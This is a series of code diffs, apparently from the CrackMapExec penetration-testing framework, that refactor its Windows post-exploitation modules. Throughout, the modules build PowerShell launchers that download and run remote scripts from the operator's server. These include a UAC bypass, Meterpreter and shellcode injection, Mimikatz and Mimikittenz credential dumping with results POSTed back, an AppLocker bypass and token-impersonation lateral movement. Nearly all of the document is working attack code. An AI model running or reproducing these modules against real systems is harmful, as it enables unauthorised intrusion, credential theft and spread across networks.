from sys import exit
|
||||
|
||||
class CMEModule:
|
||||
|
||||
'''
|
||||
Executes a command using the the eventvwr.exe fileless UAC bypass
|
||||
Powershell script and vuln discovery by Matt Nelson (@enigma0x3)
|
||||
|
||||
module by @byt3bl33d3r
|
||||
'''
|
||||
|
||||
name = 'eventvwr_bypass'
|
||||
|
||||
description = 'Executes a command using the eventvwr.exe fileless UAC bypass'
|
||||
|
||||
chain_support = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||
'''
|
||||
|
||||
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
||||
context.log.error('COMMAND or CMDFILE options are required!')
|
||||
exit(1)
|
||||
|
||||
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
||||
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
||||
exit(1)
|
||||
|
||||
if 'COMMAND' in module_options:
|
||||
self.command = module_options['COMMAND']
|
||||
|
||||
elif 'CMDFILE' in module_options:
|
||||
path = os.path.expanduser(module_options['CMDFILE'])
|
||||
|
||||
if not os.path.exists(path):
|
||||
context.log.error('Path to CMDFILE invalid!')
|
||||
exit(1)
|
||||
|
||||
with open(path, 'r') as cmdfile:
|
||||
self.command = cmdfile.read().strip()
|
||||
|
||||
def launcher(self, context, command):
|
||||
launcher = '''
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-EventVwrBypass.ps1');
|
||||
Invoke-EventVwrBypass -Force -Command "cmd.exe /c {command}";
|
||||
'''.format(server=context.server,
|
||||
addr=context.localip,
|
||||
port=context.server_port,
|
||||
command=command)
|
||||
|
||||
return create_ps_command(launcher)
|
||||
|
||||
def payload(self, context, command):
|
||||
with open(get_ps_script('Invoke-EventVwrBypass.ps1'), 'r') as ps_script:
|
||||
return ps_script.read()
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher)
|
||||
context.log.success('Executed launcher')
|
||||
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
if request.path[1:] == 'Invoke-EventVwrBypass.ps1':
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
request.wfile.write(payload)
|
||||
|
||||
request.stop_tracking_host()
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
request.end_headers()
|
|
@ -9,19 +9,30 @@ class CMEModule:
|
|||
|
||||
description = 'Something Something'
|
||||
|
||||
#If the module supports chaining, change this to True
|
||||
chain_support = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
|
||||
pass
|
||||
|
||||
def launcher(self, context, command):
|
||||
'''Required. Generate your launcher here'''
|
||||
pass
|
||||
|
||||
def payload(self, context, command):
|
||||
'''Required. Generate your payload here'''
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
|
||||
pass
|
||||
|
||||
def on_request(self, context, request):
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
'''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
|
||||
pass
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
|
||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
||||
from sys import exit
|
||||
|
||||
class CMEModule:
|
||||
|
@ -6,10 +6,12 @@ class CMEModule:
|
|||
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
||||
Module by @byt3bl33d3r
|
||||
'''
|
||||
name = 'metinject'
|
||||
name = 'met_inject'
|
||||
|
||||
description = "Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
|
||||
|
||||
chain_support = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
LHOST IP hosting the handler
|
||||
|
@ -35,13 +37,13 @@ class CMEModule:
|
|||
|
||||
self.lhost = module_options['LHOST']
|
||||
self.lport = module_options['LPORT']
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
def launcher(self, context, command):
|
||||
|
||||
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
|
||||
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
|
||||
|
||||
payload = """
|
||||
launcher = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
|
||||
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
|
||||
$SumTest = $False
|
||||
|
@ -54,30 +56,32 @@ class CMEModule:
|
|||
$Request = "{}://{}:{}/$($RequestUri)"
|
||||
$WebClient = New-Object System.Net.WebClient
|
||||
[Byte[]]$bytes = $WebClient.DownloadData($Request)
|
||||
Invoke-{} -Force -Shellcode $bytes""".format(context.server,
|
||||
Invoke-Shellcode -Force -Shellcode $bytes""".format(context.server,
|
||||
context.localip,
|
||||
context.server_port,
|
||||
'http' if self.met_payload == 'reverse_http' else 'https',
|
||||
self.lhost,
|
||||
self.lport,
|
||||
self.obfs_name)
|
||||
self.lport)
|
||||
|
||||
if self.procid:
|
||||
payload += " -ProcessID {}".format(self.procid)
|
||||
launcher += " -ProcessID {}".format(self.procid)
|
||||
|
||||
context.log.debug('Payload:{}'.format(payload))
|
||||
payload = create_ps_command(payload, force_ps32=True)
|
||||
connection.execute(payload)
|
||||
context.log.success('Executed payload')
|
||||
return create_ps_command(launcher, force_ps32=True)
|
||||
|
||||
def on_request(self, context, request):
|
||||
def payload(self, context, command):
|
||||
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script:
|
||||
return obfs_ps_script(ps_script.read())
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher)
|
||||
context.log.success('Executed launcher')
|
||||
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
if 'Invoke-Shellcode.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
request.wfile.write(payload)
|
||||
|
||||
request.stop_tracking_host()
|
||||
|
|
@ -1,4 +1,4 @@
|
|||
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, gen_random_string, validate_ntlm, write_log
|
||||
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
|
||||
from datetime import datetime
|
||||
import re
|
||||
|
||||
|
@ -12,25 +12,24 @@ class CMEModule:
|
|||
|
||||
description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script"
|
||||
|
||||
chain_support = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
|
||||
'''
|
||||
|
||||
self.mimikatz_command = 'privilege::debug sekurlsa::logonpasswords exit'
|
||||
self.command = 'privilege::debug sekurlsa::logonpasswords exit'
|
||||
|
||||
if module_options and 'COMMAND' in module_options:
|
||||
self.mimikatz_command = module_options['COMMAND']
|
||||
self.command = module_options['COMMAND']
|
||||
|
||||
#context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))
|
||||
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
payload = '''
|
||||
def launcher(self, context, command):
|
||||
launcher = '''
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
|
||||
$creds = Invoke-{func_name} -Command '{command}';
|
||||
$creds = Invoke-Mimikatz -Command '{command}';
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
|
@ -42,22 +41,24 @@ class CMEModule:
|
|||
$request.GetResponse();'''.format(server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
func_name=self.obfs_name,
|
||||
command=self.mimikatz_command)
|
||||
command=command)
|
||||
|
||||
return create_ps_command(launcher)
|
||||
|
||||
context.log.debug('Payload: {}'.format(payload))
|
||||
payload = create_ps_command(payload)
|
||||
connection.execute(payload)
|
||||
context.log.success('Executed payload')
|
||||
def payload(self, context, command):
|
||||
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
||||
return obfs_ps_script(ps_script.read())
|
||||
|
||||
def on_request(self, context, request):
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher)
|
||||
context.log.success('Executed launcher')
|
||||
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
request.wfile.write(payload)
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log, gen_random_string
|
||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
|
||||
from StringIO import StringIO
|
||||
from datetime import datetime
|
||||
from sys import exit
|
||||
|
@ -13,17 +13,17 @@ class CMEModule:
|
|||
|
||||
description = "Executes Mimikittenz"
|
||||
|
||||
chain_support = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
'''
|
||||
return
|
||||
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
payload = '''
|
||||
def launcher(self, context, command):
|
||||
launcher = '''
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-mimikittenz.ps1');
|
||||
$data = Invoke-{command};
|
||||
$data = Invoke-Mimikittenz;
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
|
@ -34,22 +34,24 @@ class CMEModule:
|
|||
$requestStream.Close();
|
||||
$request.GetResponse();'''.format(server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
command=self.obfs_name)
|
||||
addr=context.localip)
|
||||
|
||||
context.log.debug('Payload: {}'.format(payload))
|
||||
payload = create_ps_command(payload)
|
||||
connection.execute(payload)
|
||||
context.log.success('Executed payload')
|
||||
return create_ps_command(launcher)
|
||||
|
||||
def on_request(self, context, request):
|
||||
def payload(self, context, command):
|
||||
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
|
||||
return obfs_ps_script(ps_script.read())
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher)
|
||||
context.log.success('Executed launcher')
|
||||
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
if 'Invoke-mimikittenz.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), function_name=self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
request.wfile.write(payload)
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
|
||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
||||
from sys import exit
|
||||
import os
|
||||
|
||||
|
@ -7,10 +7,12 @@ class CMEModule:
|
|||
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
|
||||
Module by @byt3bl33d3r
|
||||
'''
|
||||
name = 'peinject'
|
||||
name = 'pe_inject'
|
||||
|
||||
description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script"
|
||||
|
||||
chain_support = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
PATH Path to dll/exe to inject
|
||||
|
@ -36,39 +38,39 @@ class CMEModule:
|
|||
if 'EXEARGS' in module_options:
|
||||
self.exeargs = module_options['EXEARGS']
|
||||
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
payload = """
|
||||
def launcher(self, context, command):
|
||||
launcher = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
|
||||
$WebClient = New-Object System.Net.WebClient;
|
||||
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
|
||||
Invoke-{func_name} -PEBytes $bytes""".format(server=context.server,
|
||||
Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
func_name=self.obfs_name,
|
||||
pefile=os.path.basename(self.payload_path))
|
||||
|
||||
if self.procid:
|
||||
payload += ' -ProcessID {}'.format(self.procid)
|
||||
launcher += ' -ProcessID {}'.format(self.procid)
|
||||
|
||||
if self.exeargs:
|
||||
payload += ' -ExeArgs "{}"'.format(self.exeargs)
|
||||
launcher += ' -ExeArgs "{}"'.format(self.exeargs)
|
||||
|
||||
context.log.debug('Payload:{}'.format(payload))
|
||||
payload = create_ps_command(payload, force_ps32=True)
|
||||
connection.execute(payload)
|
||||
context.log.success('Executed payload')
|
||||
return create_ps_command(launcher, force_ps32=True)
|
||||
|
||||
def on_request(self, context, request):
|
||||
def payload(self, context, command):
|
||||
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
|
||||
return obfs_ps_script(ps_script.read())
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher)
|
||||
context.log.success('Executed launcher')
|
||||
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
|
||||
request.wfile.write(launcher)
|
||||
|
||||
elif os.path.basename(self.payload_path) == request.path[1:]:
|
||||
request.send_response(200)
|
|
@ -13,24 +13,39 @@ class CMEModule:
|
|||
|
||||
description = "Wrapper for PowerView's functions"
|
||||
|
||||
chain_support = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
COMMAND Powerview command to run
|
||||
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||
'''
|
||||
|
||||
self.command = None
|
||||
if not 'COMMAND' in module_options:
|
||||
context.log.error('COMMAND option is required!')
|
||||
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
||||
context.log.error('COMMAND or CMDFILE options are required!')
|
||||
exit(1)
|
||||
|
||||
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
||||
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
||||
exit(1)
|
||||
|
||||
if 'COMMAND' in module_options:
|
||||
self.command = module_options['COMMAND']
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
elif 'CMDFILE' in module_options:
|
||||
path = os.path.expanduser(module_options['CMDFILE'])
|
||||
|
||||
powah_command = self.command + ' | Out-String'
|
||||
if not os.path.exists(path):
|
||||
context.log.error('Path to CMDFILE invalid!')
|
||||
exit(1)
|
||||
|
||||
payload = '''
|
||||
with open(path, 'r') as cmdfile:
|
||||
self.command = cmdfile.read().strip()
|
||||
|
||||
def launcher(self, context, command):
|
||||
powah_command = command + ' | Out-String'
|
||||
|
||||
launcher = '''
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1');
|
||||
$data = {command}
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||
|
@ -46,19 +61,22 @@ class CMEModule:
|
|||
addr=context.localip,
|
||||
command=powah_command)
|
||||
|
||||
context.log.debug('Payload: {}'.format(payload))
|
||||
payload = create_ps_command(payload)
|
||||
connection.execute(payload, methods=['atexec', 'smbexec'])
|
||||
context.log.success('Executed payload')
|
||||
return create_ps_command(launcher)
|
||||
|
||||
def payload(self, context, command):
|
||||
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
|
||||
return obfs_ps_script(ps_script.read())
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher, methods=['atexec', 'smbexec'])
|
||||
context.log.success('Executed launcher')
|
||||
|
||||
def on_request(self, context, request):
|
||||
if 'PowerView.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read())
|
||||
request.wfile.write(ps_script)
|
||||
request.wfile.write(ps_script)
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
class CMEModule:
|
||||
'''
|
||||
AppLocker bypass using rundll32 and Windows native javascript interpreter
|
||||
Module by @byt3bl33d3r
|
||||
|
||||
'''
|
||||
|
||||
name = 'rundll32_exec'
|
||||
|
||||
description = 'Executes a command using rundll32 and Windows\'s native javascript interpreter'
|
||||
|
||||
#If the module supports chaining, change this to True
|
||||
chain_support = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||
'''
|
||||
|
||||
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
||||
context.log.error('COMMAND or CMDFILE options are required!')
|
||||
exit(1)
|
||||
|
||||
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
||||
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
||||
exit(1)
|
||||
|
||||
if 'COMMAND' in module_options:
|
||||
self.command = module_options['COMMAND']
|
||||
|
||||
elif 'CMDFILE' in module_options:
|
||||
path = os.path.expanduser(module_options['CMDFILE'])
|
||||
|
||||
if not os.path.exists(path):
|
||||
context.log.error('Path to CMDFILE invalid!')
|
||||
exit(1)
|
||||
|
||||
with open(path, 'r') as cmdfile:
|
||||
self.command = cmdfile.read().strip()
|
||||
|
||||
def launcher(self, context, command):
|
||||
launcher = 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("{}");'.format(command)
|
||||
return launcher
|
||||
|
||||
def payload(self, context, command):
|
||||
return
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher)
|
||||
context.log.success('Executed command')
|
|
@ -1,16 +1,18 @@
|
|||
import os
|
||||
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
|
||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
||||
from sys import exit
|
||||
import os
|
||||
|
||||
class CMEModule:
|
||||
'''
|
||||
Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
|
||||
Module by @byt3bl33d3r
|
||||
'''
|
||||
name = 'shellinject'
|
||||
name = 'shellcode_inject'
|
||||
|
||||
description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
|
||||
|
||||
chain_support = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
PATH Path to the raw shellcode to inject
|
||||
|
@ -31,36 +33,35 @@ class CMEModule:
|
|||
if 'PROCID' in module_options.keys():
|
||||
self.procid = module_options['PROCID']
|
||||
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
payload = """
|
||||
def launcher(self, context, command):
|
||||
launcher = """
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
|
||||
$WebClient = New-Object System.Net.WebClient;
|
||||
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
|
||||
Invoke-{func_name} -Force -Shellcode $bytes""".format(server=context.server,
|
||||
Invoke-Shellcode -Force -Shellcode $bytes""".format(server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
func_name=self.obfs_name,
|
||||
shellcode=os.path.basename(self.shellcode_path))
|
||||
|
||||
if self.procid:
|
||||
payload += ' -ProcessID {}'.format(self.procid)
|
||||
launcher += ' -ProcessID {}'.format(self.procid)
|
||||
|
||||
context.log.debug('Payload:{}'.format(payload))
|
||||
payload = create_ps_command(payload, force_ps32=True)
|
||||
connection.execute(payload)
|
||||
context.log.success('Executed payload')
|
||||
return create_ps_command(launcher, force_ps32=True)
|
||||
|
||||
def on_request(self, context, request):
|
||||
def payload(self, context, command):
|
||||
with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
|
||||
return obfs_ps_script(ps_script.read())
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher)
|
||||
context.log.success('Executed launcher')
|
||||
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
if 'Invoke-Shellcode.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
request.wfile.write(payload)
|
||||
|
||||
elif os.path.basename(self.shellcode_path) == request.path[1:]:
|
||||
request.send_response(200)
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
from StringIO import StringIO
|
||||
from cme.helpers import create_ps_command, gen_random_string, obfs_ps_script, get_ps_script
|
||||
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
|
||||
from base64 import b64encode
|
||||
import sys
|
||||
import os
|
||||
|
@ -16,16 +16,18 @@ class CMEModule:
|
|||
Module by @byt3bl33d3r
|
||||
'''
|
||||
|
||||
name = 'tokenrider'
|
||||
name = 'token_rider'
|
||||
|
||||
description = 'Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials'
|
||||
|
||||
chain_support = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
TARGET Target machine(s) to execute the command on (comma seperated)
|
||||
USER User to impersonate
|
||||
DOMAIN Domain of the user to impersonate
|
||||
CMD Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||
'''
|
||||
|
||||
|
@ -33,20 +35,21 @@ class CMEModule:
|
|||
context.log.error('TARGET, USER and DOMAIN options are required!')
|
||||
sys.exit(1)
|
||||
|
||||
if not 'CMD' in module_options and not 'CMDFILE' in module_options:
|
||||
context.log.error('CMD or CMDFILE options are required!')
|
||||
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
||||
context.log.error('COMMAND or CMDFILE options are required!')
|
||||
sys.exit(1)
|
||||
|
||||
if 'CMD' in module_options and 'CMDFILE' in module_options:
|
||||
context.log.error('CMD and CMDFILE are mutually exclusive!')
|
||||
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
||||
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
||||
sys.exit(1)
|
||||
|
||||
self.target_computers = ''
|
||||
self.target_user = module_options['USER']
|
||||
self.target_domain = module_options['DOMAIN']
|
||||
|
||||
if 'CMD' in module_options:
|
||||
self.command = module_options['CMD']
|
||||
if 'COMMAND' in module_options:
|
||||
self.command = module_options['COMMAND']
|
||||
|
||||
elif 'CMDFILE' in module_options:
|
||||
path = os.path.expanduser(module_options['CMDFILE'])
|
||||
|
||||
|
@ -62,12 +65,9 @@ class CMEModule:
|
|||
self.target_computers += '"{}",'.format(target)
|
||||
self.target_computers = self.target_computers[:-1]
|
||||
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
#context.log.debug('Target system string: {}'.format(self.target_computers))
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
def launcher(self, context, command):
|
||||
second_stage = '''
|
||||
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server,
|
||||
|
@ -75,8 +75,8 @@ class CMEModule:
|
|||
port=context.server_port)
|
||||
context.log.debug(second_stage)
|
||||
|
||||
#Main payload
|
||||
payload = '''
|
||||
#Main launcher
|
||||
launcher = '''
|
||||
function Send-POSTRequest {{
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
|
@ -94,7 +94,7 @@ class CMEModule:
|
|||
}}
|
||||
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
|
||||
$tokens = Invoke-{obfs_func} -Enum;
|
||||
$tokens = Invoke-TokenManipulation -Enum;
|
||||
foreach ($token in $tokens){{
|
||||
if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{
|
||||
|
||||
|
@ -103,31 +103,72 @@ class CMEModule:
|
|||
$post_back = $post_back + $token_desc;
|
||||
Send-POSTRequest $post_back
|
||||
|
||||
Invoke-{obfs_func} -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}";
|
||||
Invoke-TokenManipulation -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {command}";
|
||||
return
|
||||
}}
|
||||
}}
|
||||
|
||||
Send-POSTRequest "User token not present on system!"'''.format(obfs_func=self.obfs_name,
|
||||
command=b64encode(second_stage.encode('UTF-16LE')),
|
||||
Send-POSTRequest "User token not present on system!"'''.format(command=b64encode(second_stage.encode('UTF-16LE')),
|
||||
server=context.server,
|
||||
addr=context.localip,
|
||||
port=context.server_port,
|
||||
user=self.target_user,
|
||||
domain=self.target_domain)
|
||||
|
||||
context.log.debug(payload)
|
||||
payload = create_ps_command(payload)
|
||||
connection.execute(payload, methods=['atexec', 'smbexec'])
|
||||
context.log.success('Executed payload')
|
||||
return create_ps_command(launcher)
|
||||
|
||||
def on_request(self, context, request):
|
||||
def payload(self, context, command):
|
||||
command_to_execute = 'cmd.exe /c {}'.format(command)
|
||||
#context.log.debug(command_to_execute)
|
||||
|
||||
#This will get executed in the process that was created with the impersonated token
|
||||
payload = '''
|
||||
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||
function Send-POSTRequest {{
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[string] $data
|
||||
)
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
|
||||
$request.ContentLength = $bytes.Length;
|
||||
$requestStream = $request.GetRequestStream();
|
||||
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||
$requestStream.Close();
|
||||
$request.GetResponse();
|
||||
}}
|
||||
|
||||
$post_output = "";
|
||||
$targets = @({targets});
|
||||
foreach ($target in $targets){{
|
||||
try{{
|
||||
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $target -ArgumentList "{command}";
|
||||
$post_output = $post_output + "Executed command on $target! `n";
|
||||
}} catch {{
|
||||
$post_output = $post_output + "Error executing command on $target $_.Exception.Message `n";
|
||||
}}
|
||||
}}
|
||||
Send-POSTRequest $post_output'''.format(server=context.server,
|
||||
addr=context.localip,
|
||||
port=context.server_port,
|
||||
targets=self.target_computers,
|
||||
command=command_to_execute)
|
||||
|
||||
return payload
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher, methods=['atexec', 'smbexec'])
|
||||
context.log.success('Executed launcher')
|
||||
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
ps_script = obfs_ps_script(ps_script.read())
|
||||
